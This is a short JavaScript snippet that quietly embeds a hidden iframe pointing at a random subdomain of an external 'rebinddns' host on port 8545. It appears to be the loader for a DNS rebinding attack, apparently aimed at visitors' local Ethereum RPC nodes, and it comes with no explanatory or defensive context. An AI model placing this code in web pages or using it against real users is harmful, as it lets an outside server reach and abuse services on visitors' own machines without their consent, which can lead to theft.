var i = document.createElement('iframe');
i.style.display = 'none';
i.src = 'http://'+makeSub()+'.rebinddns.ml:8545';
document.body.appendChild(i);

function makeSub() {
	  var text = "";
	  var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

	  for (var i = 0; i < 16; i++)
	    text += possible.charAt(Math.floor(Math.random() * possible.length));

	  return text;
}